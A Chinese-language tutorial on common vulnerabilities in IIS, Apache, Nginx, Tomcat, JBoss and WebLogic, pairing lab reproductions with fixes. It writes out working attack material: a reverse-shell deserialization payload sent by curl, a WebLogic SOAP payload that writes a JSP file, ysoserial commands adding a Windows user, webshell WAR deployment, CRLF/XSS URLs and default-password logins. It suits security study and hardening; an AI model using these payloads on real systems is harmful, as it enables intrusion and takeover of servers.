Web中介軟體常見漏洞總結
IIS
IIS是Internet Information Services的縮寫，意為網際網路資訊服務，是由微軟公司提供的基於執行Microsoft Windows的網際網路基本服務。 IIS目前只適用於Windows系統，不適用於其他作業系統。
解析漏洞
IIS 6.X
基於檔名
該版本 預設會將 *.asp;.jpg 此種格式的檔名，當成Asp解析，原理是 伺服器預設不解析; 號及其後面的內容，相當於截斷。
基於資料夾名
該版本 預設會將 *.asp/目錄下的所有檔案當成Asp解析。
另外，IIS6.x除了會將副檔名為.asp的檔案解析為asp之外，還預設會將副檔名為.asa，.cdx，.cer解析為asp，從網站屬性->主目錄->配置 可以看出，他們都是呼叫了asp.dll進行的解析。
修復建議
由於微軟並不認為這是一個漏洞，也沒有推出IIS 6.0的補丁，因此漏洞需要自己修復。
1. 限制上傳目錄執行許可權，不允許執行指令碼
2. 不允許新建目錄。
3. 上傳的檔案需經過重新命名(時間戳+隨機數+.jpg等)
IIS 7.x
安裝IIS7.5，
1.控制面板 -> 程式 -> 開啟或關閉windows功能。
2.下載php-5.2.6-win32-installer.msi (https://windows.php.net/downloads/releases/archives/)
3.開啟msi，一直下一步來到選擇web server setup的介面，在這裡選擇IIS fastcgi,之後一直下一步。
4.開啟IIS，管理工具 ->Internet 資訊服務(IIS)管理器
5.選擇編輯ISAPI或者CGI限制
新增安裝的php-cgi.exe路徑，描述隨意
6.返回第五步的第一個圖片位置，點選處理程式對映，新增如下。
7.phpinfo測試
IIS7.x版本 在Fast-CGI執行模式下,在任意檔案，例：test.jpg後面加上/.php，會將test.jpg 解析為php檔案。
修復建議
配置cgi.fix_pathinfo(php.ini中)為0並重啟php-cgi程式
結果如下:
PUT任意檔案寫入
IIS Server 在 Web 服務擴充套件中開啟了 WebDAV之後，支援多種請求，配合寫入許可權，可造成任意檔案寫入。
修復建議
關閉WebDAV 和 寫許可權
IIS短檔案漏洞
Windows 以 8.3 格式生成與 MS-DOS 相容的（短）檔名，以允許基於 MS-DOS 或 16 位 Windows的程式訪問這些檔案。在cmd下輸入"dir /x"即可看到短檔名的效果。
IIS短檔名產生：
1.當字尾小於4時，短檔名產生需要檔案(夾)名字首字元長度大於等於9位。
2.當字尾大於等於4時，檔名字首字元長度即使為1，也會產生短檔名。
目前IIS支援短檔名猜測的HTTP方法主要包括：DEBUG、OPTIONS、GET、POST、HEAD、TRACE六種。 IIS 8.0之後的版本只能通過OPTIONS和TRACE方法被猜測成功。
復現：
IIS8.0以下版本需要開啟ASP.NET支援，IIS大於等於8.0版本,即使沒有安裝ASP.NET，通過OPTIONS和TRACE方法也可以猜解成功。 以下通過開啟IIS6.0 ASP.NET後進行復現。
當訪問構造的某個存在的短檔名，會返回404:
當訪問構造的某個不存在的短檔名，會返回400：
IIS短檔案漏洞侷限性：
1) 如果檔名本身太短也是無法猜解的；
2) 此漏洞只能確定前6個字元，如果後面的字元太長、包含特殊字元，很難猜解；
3) 如果檔名前6位帶空格，8.3格式的短檔名會補進，和真實檔名不匹配；
4) 如果資料夾名前6位字元帶點"."，掃描程式會認為是檔案而不是資料夾，最終出現誤報；
5) 不支援中文檔名，包括中文檔案和中文資料夾。一箇中文相當於兩個英文字元，故超過4箇中文字會產生短檔名，但是IIS不支援中文猜測。
IIS短檔案利用工具：https://github.com/irsdl/IIS-ShortName-Scanner
修復建議
1）從CMD命令關閉NTFS 8.3檔案格式的支援
Windows Server 2003： (1代表關閉，0代表開啟） 關閉該功能：fsutil behavior set disable8dot3 1
Windows Server 2008 R2：
查詢是否開啟短檔名功能：fsutil 8dot3name query
關閉該功能：fsutil 8dot3name set 1
不同系統關閉命令稍有區別，該功能預設是開啟的.
2）或從修改登錄檔關閉NTFS 8.3檔案格式的支援
快捷鍵Win+R開啟命令視窗，輸入regedit開啟登錄檔視窗
找到路徑： HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem，將其中的 NtfsDisable8dot3NameCreation這一項的值設為 1，1代表不建立短檔名格式
以上兩種方式修改完成後，均需要重啟系統生效。
Note:此方法只能禁止NTFS8.3格式檔名建立,已經存在的檔案的短檔名無法移除，需要重新複製才會消失。 例:將web資料夾的內容拷貝到另一個位置，如c:\www到c:\ww,然後刪除原資料夾，再重新命名c:\ww到c:\www。
HTTP.SYS遠端程式碼執行(MS15-034)
影響範圍： Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2
復現：
在Windows7上 安裝IIS7.5
1.訪問。
2.編輯請求頭，增加Range: bytes=0-18446744073709551615欄位，若返回碼狀態為416 Requested Range Not Satisfiable，則存在HTTP.SYS遠端程式碼執行漏洞
漏洞有點雞肋，配合其他漏洞使用還是可以用用的，具體使用可轉至MSF中。
修復建議
安裝修復補丁（KB3042553）
Apache
Apache是世界使用排名第一的Web伺服器軟體。它可以執行在幾乎所有廣泛使用的計算機平臺上，由於其跨平臺和安全性被廣泛使用，是最流行的Web伺服器端軟體之一。它快速、可靠並且可通過簡單的API擴充，將Perl/Python等直譯器編譯到伺服器中。
解析漏洞
未知副檔名解析漏洞
Apache的解析漏洞依賴於一個特性： Apache預設一個檔案可以有多個以點分割的字尾，當最右邊的字尾無法識別（不在預設一個檔案可以有多個以點分割的字尾，當最右邊的字尾無法識別（不在mime.types檔案），則繼續向左識別，直到識別到合法字尾才進行解析
復現： 這裡使用phpstudy進行復現。
下載地址： http://phpstudy.php.cn/phpstudy/phpStudy(PHP5.2).zip
訪問phpinfo.php.xxx
實戰中可以上傳rar，owf等檔案進行利用，如果上傳phpinfo.php.jpg，即使檔名中有.php，也會直接解析為jpg。因為Apache認識.jpg,停止繼續向左識別。
AddHandler導致的解析漏洞
如果運維人員給.php字尾增加了處理器：
AddHandler application/x-httpd-php .php
那麼，在有多個字尾的情況下，只要一個檔名中含有.php字尾，即被識別成PHP檔案，沒必要是最後一個字尾。 利用這個特性，將會造成一個可以繞過上傳白名單的解析漏洞。
復現：
即使最右邊的檔案格式是在mime.types檔案內，只要檔名中出現.php，就直接被解析為php。
Apache HTTPD 換行解析漏洞
影響範圍：2.4.0~2.4.29版本
環境：phpstudy2014 Apache + PHP5.4n
此漏洞形成的根本原因，在於$, 正則表示式中$不僅匹配字串結尾位置，也可以匹配\n 或 \r
在解析PHP時，1.php\x0A將被按照PHP字尾進行解析，導致繞過一些伺服器的安全策略。
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
測試程式碼：
<html>
<body>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="text" name="name" />
<input type="submit" value="上傳檔案" />
</form>
</body>
</html>
<?php
if(isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
echo "ok";
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
}
?>
點選Go後，效果如下:
相同程式碼在Linux下進行測試，可以正常寫入。
訪問：
限制：獲取檔名時不能用$_FILES['file']['name']，因為它會自動把換行去掉。
修復建議 ：
1. 升級到最新版本
2. 或將上傳的檔案重新命名為為時間戳+隨機數+.jpg的格式並禁用上傳檔案目錄執行指令碼許可權。
Nginx
Nginx是一款輕量級的Web 伺服器/反向代理伺服器及電子郵件（IMAP/POP3）代理伺服器，在BSD-like 協議下發行。其特點是佔有記憶體少，併發能力強，事實上nginx的併發能力確實在同類型的網頁伺服器中表現較好。
Nginx配置檔案錯誤導致的解析漏洞
對於任意檔名，在後面新增/xxx.php（xxx為任意字元）後,即可將檔案作為php解析。
例：info.jpg後面加上/xxx.php，會將info.jpg 以php解析。
這裡使用phpstudy2014 ，Nginx + PHP5.3n進行復現(以下復現若無特別說明均採用此環境)
結果：
該漏洞是Nginx配置所導致，與Nginx版本無關，下面是常見的漏洞配置。
當攻擊者訪問/info.jpg/xxx.php時， Nginx將檢視URL，看到它以.php結尾，並將路徑傳遞給PHP fastcgi處理程式。
Nginx傳給php的路徑為c:/WWW/info.jpg/xxx.php, 在phpinfo中可以檢視_SERVER["ORIG_SCRIPT_FILENAME"]得到。
PHP根據URL對映，在伺服器上尋找xxx.php檔案，但是xxx.php不存在，又由於cgi.fix_pathinfo預設是開啟的，因此PHP會繼續檢查路徑中存在的檔案，並將多餘的部分當作 PATH_INFO。接著PHP在檔案系統中找到.jpg檔案，而後以PHP的形式執行.jpg的內容，並將/xxx.php儲存在 PATH_INFO 後丟棄，因此我們在phpinfo中的$_SERVER['PATH_INFO']看的到值為空。
Note: php的一個選項：cgi.fix_pathinfo，該選項預設開啟，值為1，用於修理路徑， 例如：當php遇到檔案路徑"/info.jpg/xxx.php/lxh.sec"時，若"/info.jpg/xxx.php/lxh.sec"不存在，則會去掉最後的"/lxh.sec"，然後判斷"/info.jpg/xxx.php"是否存在, 若存在則將/info.jpg/xxx.php當作檔案/info.jpg/xxx.php/lxh.sec，若/info.jpg/xxx.php仍不存在，則繼續去掉xxx.php,依此類推。
修復建議
1.配置cgi.fix_pathinfo(php.ini中)為0並重啟php-cgi程式。
2.或如果需要使用到cgi.fix_pathinfo這個特性（例如：Wordpress），那麼可以禁止上傳目錄的執行指令碼許可權。 或將上傳儲存的內容與網站分離，即站庫分離。
3.或高版本PHP提供了security.limit_extensions這個配置引數，設定security.limit_extensions = .php
Nginx 空位元組任意程式碼執行漏洞
影響版本：Nginx 0.5*, 0.6*,0.7 <= 0.7.65,0.8 <= 0.8.37
Windows環境 Nginx 0.7.65+php 5.3.2
在nginx-0.7.65/html/目錄下建立info.jpg,內容為<?php phpinfo();?>,
訪問info.jpg，並抓包，修改為info.jpg..php，在Hex選修卡中將jpg後面的.，更改為00.
Note:該漏洞不受cgi.fix_pathinfo影響，當其為0時，依舊解析。
Nginx 檔名邏輯漏洞（CVE-2013-4547）
影響版本：Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
使用Vulhub的docker進行復現。
訪問http://your-ip:8080/ 上傳檔案
訪問http://your-ip:8080/uploadfiles/info.jpg, 並抓包，修改為info.jpg...php, 在Hex選修卡中將jpg後面的兩個點2e改成20,00 點選Go,如下。
Note:該漏洞不受cgi.fix_pathinfo影響，當其為0時，依舊解析，在Windows上有所限制。
修復建議
1. 設定security.limit_extensions = .php
2. 或升級Nginx
Nginx 配置錯誤導致的安全問題
CRLF注入
檢視Nginx文件，可以發現有三個表示uri的變數：
1.$uri
2.$document_uri
3.$request_uri
1和2表示的是解碼以後的請求路徑，不帶引數；3表示的是完整的URI（沒有解碼）
Nginx會將1，2進行解碼，導致傳入%0a%0d即可引入換行符，造成CRLF注入漏洞。
錯誤配置:
訪問：
http://127.0.0.1/%0aX-XSS-Protection:%200%0a%0d%0a%0d%3Cimg%20src=1%20onerror=alert(/xss/)%3E
將返回包的Location埠設定為小於80，使得瀏覽器不進行跳轉，執行XSS。
結果：
修復建議
目錄穿越
Nginx在配置別名（Alias）的時候，如果忘記加/，將造成一個目錄穿越漏洞。
錯誤的配置檔案示例（原本的目的是為了讓使用者訪問到C:/WWW/home/目錄下的檔案）：
location /files {
autoindex on;
alias c:/WWW/home/;
}
結果：
修復建議
只需要保證location和alias的值都有後綴/或都沒有/這個字尾。
目錄遍歷
當Nginx配置檔案中，autoindex 的值為on時，將造成一個目錄遍歷漏洞。
結果：
修復建議
將autoindex 的值為置為off。
add_header被覆蓋
Nginx的配置檔案分為Server、Location等一些配置塊，並且存在包含關係，子塊會繼承父塊的一些選項，比如add_header
如下配置中，整站（父塊中）添加了CSP頭：
正常情況下訪問:
當訪問 /test2時，XSS被觸發。因/test2的location中添加了X-Content-Type-Options頭，導致父塊中的add_header全部失效。
Tomcat
Tomcat 伺服器是一個免費的開放原始碼的Web 應用伺服器，屬於輕量級應用 伺服器，在中小型系統和併發訪問使用者不是很多的場合下被普遍使用，是開發和除錯JSP 程式的首選。對於一個初學者來說，可以這樣認為，當在一臺機器上配置好Apache伺服器，可利用它響應HTML（ 標準通用標記語言下的一個 應用）頁面的訪問請求。實際上Tomcat是Apache伺服器的擴充套件，但執行時它是獨立執行的，所以當執行tomcat 時，它實際上作為一個與Apache獨立的程序單獨執行的。
Tomcat 任意檔案寫入（CVE-2017-12615）
環境：Tomcat/8.0.30
漏洞本質是Tomcat配置檔案/conf/web.xml 配置了可寫（readonly=false），導致我們可以往伺服器寫檔案：
增加完配置之後，記得重啟Tomcat，效果如下:
當readonly=true時，效果如下：
修復建議
將readonly=true，預設為true。
Tomcat 遠端程式碼執行（CVE-2019-0232）
影響範圍：9.0.0.M1 ~ 9.0.17, 8.5.0 ~ 8.5.39 ， 7.0.0 ~ 7.0.93
影響系統： Windows
測試環境：
Apache Tomcat v8.5.39 J
DK 1.8.0_144
修改配置：
web.xml
content.xml
在Tomcat\webapps\ROOT\WEB-INF新建cgi目錄，並建立lxhsec.bat檔案，內容任意。
訪問http://127.0.0.1:8080/cgi-bin/lxhsec.bat?&dir
執行命令http://127.0.0.1:8080/cgi-bin/lxhsec.bat?&C:/WINDOWS/system32/net+user
Note:net命令的路徑要寫全，直接寫net user，Tomcat控制檯會提示net不是內部命令，也不是可執行的程式，另 必須使用+號連線，使用空格，%2B都會執 行失敗，控制檯報錯
Tomcat + 弱口令 && 後臺getshell漏洞
環境：Apache Tomcat/7.0.94
在conf/tomcat-users.xml檔案中配置使用者的許可權：
<tomcat-users>
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>
正常安裝的情況下，tomcat7.0.94中預設沒有任何使用者，且manager頁面只允許本地IP訪問。只有管理員手工修改了這些屬性的情況下，才可以進行攻擊。
訪問 http://127.0.0.1:8080/manager/html ,輸入弱密碼tomcat:tomcat，登陸後臺。
部署後，訪問 http://127.0.0.1:8080/war包名/包名內檔名, 如下。
修復建議
1. 若無必要，取消manager/html功能。
2. 若要使用，manager頁面應只允許本地IP訪問
Tomcat manager App 暴力破解
環境：Apache Tomcat/7.0.94
訪問：http://127.0.0.1:8080/manager/html, 輸入密碼，抓包，如下。
剛才輸入的賬號密碼在HTTP欄位中的Authorization中，規則為Base64Encode(user:passwd)
修復建議
1. 若無必要，取消manager/html功能。
2. 若要使用，manager頁面應只允許本地IP訪問
JBoss
jBoss是一個基於J2EE的開發原始碼的應用伺服器。 JBoss程式碼遵循LGPL許可，可以在任何商業應用中免費使用。JBoss是一個管理EJB的容器和伺服器，支援EJB1.1、EJB 2.0和EJB3的規範。但JBoss核心服務不包括支援servlet/JSP的WEB容器，一般與Tomcat或Jetty繫結使用。
預設埠:8080,9990
Windows下Jboss安裝：
1. 下載 http://jbossas.jboss.org/downloads/
2. 解壓，我這裡解壓後的目錄為：C:\jboss-6.1.0.Final
3. 新建環境變數：
JBOSS_HOME 值為： C:\jboss-6.1.0.Final
在path中加入：;%JBOSS_HOME%\bin;
4. 開啟C:\jboss-6.1.0.Final\bin 雙擊run.bat。出現info訊息，即配置成功
Note:注意JDK版本要在1.6~1.7之間，1.8版本jBoss執行開啟 JMX Console會出現500錯誤。
jboss預設部署路徑：C:\jboss-6.1.0.Final\server\default\deploy\ROOT.war
設定外網訪問:
開啟C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml
將address="${jboss.bind.address}" 設定為address="0.0.0.0" ,並重啟JBoss
JBoss 5.x/6.x 反序列化漏洞（CVE-2017-12149）
訪問 /invoker/readonly 返回500，說明頁面存在，此頁面存在反序列化漏洞。
利用工具：https://github.com/joaomatosf/JavaDeserH2HC
我們選擇一個Gadget：ReverseShellCommonsCollectionsHashMap，編譯並生成序列化資料：
生成ReverseShellCommonsCollectionsHashMap.class
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
生成ReverseShellCommonsCollectionsHashMap.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.31.232:6666（ip是nc所在的ip）
利用：
curl http://192.168.31.205:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
或者
java反序列化終極測試工具
JBoss JMXInvokerServlet 反序列化漏洞
訪問 /invoker/JMXInvokerServlet
返回如下，說明介面開放，此介面存在反序列化漏洞。
這裡直接利用CVE-2017-12149生成的ser，傳送到/invoker/JMXInvokerServlet介面中。
如下：
JBoss EJBInvokerServlet 反序列化漏洞
訪問 /invoker/EJBInvokerServlet
返回如下，說明介面開放，此介面存在反序列化漏洞
這裡直接利用CVE-2017-12149生成的ser，傳送到/invoker/EJBInvokerServlet介面中。
如下：
修復建議
1. 不需要 http-invoker.sar 元件的使用者可直接刪除此元件。路徑為：C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,刪除後訪問404.
2. 或新增如下程式碼至 http-invoker.sar 下 web.xml 的 security-constraint 標籤中，對 http invoker 元件進行訪問控制：
<url-pattern>/*</url-pattern>
路徑為：C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xml
JBoss <=4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504)
環境:jboss-4.2.3
設定外網訪問:
在C:\jboss-4.2.3\server\default\deploy\jboss-web.deployer\server.xml
將address="${jboss.bind.address} 改為：address="0.0.0.0", 重啟Jboss
訪問/jbossmq-httpil/HTTPServerILServlet，
返回This is the JBossMQ HTTP-IL，說明頁面存在，此頁面存在反序列化漏洞。
這裡直接利用CVE-2017-12149生成的ser，傳送到/jbossmq-httpil/HTTPServerILServlet介面中。
如下
Administration Console 弱口令
Administration Console管理頁面存在弱口令，admin:admin，登陸後臺上傳war包。
1. 點選Web Application (WAR)s
2. Add a new resource，上傳war包
將jsp馬打包成war包 jar -cvf shell.war api_all_jdk.jsp
上傳
3. 點選建立的war包進入下一層，若狀態為stop，點選Start按鈕（預設都是start狀態，不需要點選Start按鈕）
4. 訪問。 http://xx.xx.xx.xx/[warname]/shellname.jsp
連線天蠍
修復建議
1. 修改密碼
C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties
2. 或刪除Administration Console頁面。
JBoss版本>=6.0，admin-console頁面路徑為： C:\jboss-6.1.0.Final\common\deploy\admin-console.war
6.0之前的版本，路徑為C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war
JMX Console未授權訪問
JMX Console預設存在未授權訪問，直接點選JBoss主頁中的JMX Console連結進入JMX Console頁面
1. 在JMX Console頁面點選jboss.system連結，在Jboss.system頁面中點選service=MainDeployer，如下
2. 進入service=MainDeployer頁面之後，找到methodIndex為17 or 19的deploy 填寫遠端war包地址進行遠端部署。
3. 這裡我部署的war包為lxh.war，連結如下：
http://192.168.31.205:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.31.205/lxh.war
4. 訪問
http://xx.xx.xx.xx/[warname]/shellname.jsp
修復建議
1. 增加密碼措施，防止未授權訪問。
1）在C:\jboss-6.1.0.Final\common\deploy\jmx-console.war\WEB-INF\jboss-web.xml開啟安全配置。
2）在C:\jboss-6.1.0.Final\common\deploy\jmx-console.war\WEB-INF\web.xml開啟安全認證
3）在C:\jboss-6.1.0.Final\server\default\conf\login-config.xml中可以看到JMX Console的使用者密碼配置位置。
4）配置使用者密碼以及使用者許可權，這裡新增lxhsec使用者。
5）重啟JBoss，效果如下
2.或刪除JMX Console,後重啟JBoss
C:\jboss-6.1.0.Final\common\deploy\jmx-console.war
WebLogic
WebLogic是美國Oracle公司出品的一個applicationserver，確切的說是一個基於JAVAEE架構的中介軟體，WebLogic是用於開發、整合、部署和管理大型分佈 式Web應用、網路應用和資料庫應用的Java應用伺服器。將Java的動態功能和Java Enterprise標準的安全性引入大型網路應用的開發、整合、部署和管理之 中。
預設埠:7001
測試環境版本：10.3.6
下載地址：https://download.oracle.com/otn/nt/middleware/11g/wls/1036/wls1036_win32.exe? AuthParam=1559386164_88cf328d83f60337f08c2c94ee292954
下載完成後雙擊執行，一直點下一步就ok了。
安裝完成之後，在C:\Oracle\Middleware\user_projects\domains\base_domain這個目錄雙擊startWebLogic.cmd啟動Weblogic服務。
瀏覽器訪問：http://127.0.0.1:7001/, 介面上出現Error 404--Not Found，即啟動成功。
登入到weblogic控制檯頁面，輸入使用者名稱和密碼，登入到控制檯裡面
設定外網訪問，在 域結構 -> 環境 -> 伺服器 右邊選擇相應的Server（管理伺服器），開啟進行編輯，在監聽地址:中填入0.0.0.0，儲存後，重啟Weblogic伺服器即可。
以下復現若無特別說明均採用Weblogic 10.3.6
XMLDecoder 反序列化漏洞（ 反序列化漏洞（CVE-2017-10271 & CVE-2017-3506）
Weblogic的WLS Security元件對外提供webservice服務，其中使用了XMLDecoder來解析使用者傳入的XML資料，在解析的過程中出現反序列化漏洞，導致可 執行任意命令.
訪問 /wls-wsat/CoordinatorPortType
返回如下頁面，則可能存在此漏洞。
漏洞不僅存在於 /wls-wsat/CoordinatorPortType 。 只要是在wls-wsat包中的Uri皆受到影響，可以檢視web.xml得知所有受到影響的Uri，路徑為:
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml
預設受到影響的Uri如下：
/wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11
構造 寫入檔案 資料包傳送，如下，其中Content-Type需要等於text/xml,否則可能導致XMLDecoder不解析。
POST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1 Host: 127.0.0.1:7001 User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: text/xml Connection: close Content-Length: 629
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test33.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("test777776666666"); %>
]]>
</string>
</void>
<void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
XML構造方法：https://docs.oracle.com/javase/tutorial/javabeans/advanced/longpersistence.html
訪問 /bea_wls_internal/test33.jsp,如下：
CVE-2017-3506的補丁加了驗證函式，補丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法, 驗證Payload中的節點是否 存在object Tag。
我們將object換成void就可繞過此補丁，產生了CVE-2017-10271。
或者直接只用java反序列化漏洞利用工具
修復建議
1）安裝補丁。
2）或刪除wls-wsat元件，再次訪問返回404.
1.刪除 C:\Oracle\Middleware\wlserver_10.3\server\lib\wls-wsat.war 2.刪除 C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\.internal\wls-wsat.war 3.刪除 C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat 4.重啟Weblogic
Note：wls-wsat.war屬於一級應用包，對其進行移除或更名操作可能造成未知的後果，Oracle官方不建議對其進行此類操作。
Weblogic wls9_async_response,wls-wsat 反序列化遠端程式碼執行漏洞（CVE-20192725）
影響元件：bea_wls9_async_response.war, wls-wsat.war
影響版本：10.3.6.0, 12.1.3.0
bea_wls9_async_response.war
訪問 /_async/AsyncResponseService
返回如下頁面，則可能存在此漏洞。
漏洞不僅存在於 /_async/AsyncResponseService
只要是在bea_wls9_async_response包中的Uri皆受到影響，可以檢視web.xml得知所有受到影響的Uri，路徑為：
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml
預設受到影響的Uri如下：
/_async/AsyncResponseService /_async/AsyncResponseServiceJms /_async/AsyncResponseServiceHttps
wls-wsat.war受影響的URI見XMLDecoder 反序列化漏洞（CVE-2017-10271 & CVE-2017-3506）
此漏洞實際上是CVE-2017-10271的又一入口，它繞過了CVE-2017-10271的補丁，執行REC.
怎麼繞過CVE-2017-10271的補丁，執行REC的呢?
先來看一下CVE-2017-10271的補丁程式碼：
其中CVE-2017-3506的補丁是過濾了object，CVE-2017-10271的補丁是過濾了new，method標籤，且void後面只能跟index，array後面可以跟class，但是 必須要是byte型別的。
繞過CVE-2017-10271補丁是因為class標籤未被過濾所導致的，這點我們可以從Oracle 釋出的CVE-2019-2725補丁看出來， CVE-2019-2725補丁新增部分內容，將class加入了黑名單，限制了array標籤中的byte長度。如下：
利用：
Weblogic WLS Core Components 反序列化命令執行漏洞（CVE-2018-2628）
Weblogic Server WLS Core Components反序列化命令執行漏洞（CVE-2018-2628），該漏洞通過t3協議觸發，可導致未授權的使用者在遠端伺服器執行任意命令。
使用 https://www.exploit-db.com/exploits/44553 中的指令碼進行復現,具體使用方法見指令碼。
Kail Attack ：192.168.0.162
server08 victim : 192.168.0.163
Kail 執行
1）下載ysoserial.jar
wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
2）使用ysoserial.jar，啟動JRMP Server
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
其中，[command]是想執行的命令，而[listen port]是JRMP Server監聽的埠。這裡我執行:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'net user vege vege /add'
3）執行exploit.py
python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
其中，[victim ip]和[victim port]是目標weblogic的IP和埠，[path to ysoserial]是本地（Kail系統上的）ysoserial的路徑，[JRMPListener ip]和[JRMPListener port]第一步中啟動JRMP Server的IP地址和埠。[JRMPClient]是執行JRMPClient的類，可選的值是JRMPClient或JRMPClient2
這裡我執行
python2 exploit.py 192.168.0.163 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.0.162 1099 JRMPClient2
結果如下：
修復建議
1.過濾t3協議。
在域結構中點選 安全->篩選器
連線篩選器填: weblogic.security.net.ConnectionFilterImpl 儲存後重啟Weblogic.
kail再次攻擊，Exp將報錯。
連線篩選器規則可參考官方文件 https://docs.oracle.com/cd/E12839_01/web.1111/e13711/con_filtr.htm#SCPRG386
Weblogic 任意檔案上傳漏洞（CVE-2018-2894）
Weblogic Web Service Test Page中一處任意檔案上傳漏洞，Web Service Test Page 在"生產模式"下預設不開啟，所以該漏洞有一定限制。
影響版本：12.1.3.0, 12.2.1.2, 12.2.1.3
官網下載Weblogic 12.1.3.0
安裝的時候將Weblogic放在Java JDK的bin目錄下，防止出現因環境變數帶空格導致的錯誤，安裝過程一直點選下一步即可。
以下復現是在Weblogic開發模式下進行的，若需在生產模式下進行復現，則需要 登入後臺頁面，點選base_domain的配置，在"高階"設定中 開啟 "啟用 Web 服務測試頁" 選項，經過我的驗證發現開啟之後，不僅需要賬號密碼登陸，即使登陸了也沒有這兩處上傳點。
第一個上傳點：
訪問 ws_utc/config.do，設定Work Home Dir為ws_utc應用的靜態檔案css目錄C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\css， 因為訪問這個目錄是無需許可權的，提交後，點選左側 安全-> 新增，然後上傳Webshell
點選提交併抓包，獲取響應資料包中的時間戳。
然後訪問 http://127.0.0.1:7001/ws_utc/css/config/keystore/[時間戳]_[檔名]，即可執行webshell：
第二個上傳點：
訪問 ws_utc/begin.do，點選右上角的資料夾，上傳Webshell，點選提交，並抓包。
在返回資料包中得到Webshell路徑。
然後訪問http://127.0.0.1:7001/ws_utc/css/upload/RS_Upload_2019-06-07_17-12-18_558/import_file_name_lxhspy.jsp
Note:
1）ws_utc/begin.do 使用的工作目錄是在 使用的工作目錄是在ws_utc/config.do中設定的中設定的Work Home Dir。
2）利用需要知道部署應用的web目錄。
3）在生產模式下預設不開啟，在後臺開啟之後，需要認證
修復建議
啟動生產模式：
編輯domain路徑下的setDomainEnv.cmd檔案，將set PRODUCTION_MODE= 更改為 set PRODUCTION_MODE=true C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\bin\setDomainEnv.cmd
目前生產模式下已取消這兩處上傳檔案的地方。
Weblogic SSRF漏洞 （CVE-2014-4210）
影響版本：10.0.2.0, 10.3.6.0
訪問 /uddiexplorer/SearchPublicRegistries.jsp，若能正常訪問，則可能存在此漏洞，填寫任意資訊，如下
點選Search，並抓包，抓包之後在Burp中右鍵，選擇Change request method, 將POST請求改變成GET
引數operator為SSRF的可控引數，將其更改為開放的埠，如http://127.0.0.1:7001/，將返回error code
若開放埠為HTTP協議，則會返回did not have a valid SOAP content-type。
訪問不存在的埠，將返回could not connect over HTTP to server
通過 返回資料包 中的錯誤資訊，即可探測內網狀態。
修復建議
刪除SearchPublicRegistries.jsp檔案或修改SearchPublicRegistries.jsp檔案字尾為不解析字尾，如SearchPublicRegistries.jspxxx，後重啟Weblogic，再次訪問，如下：
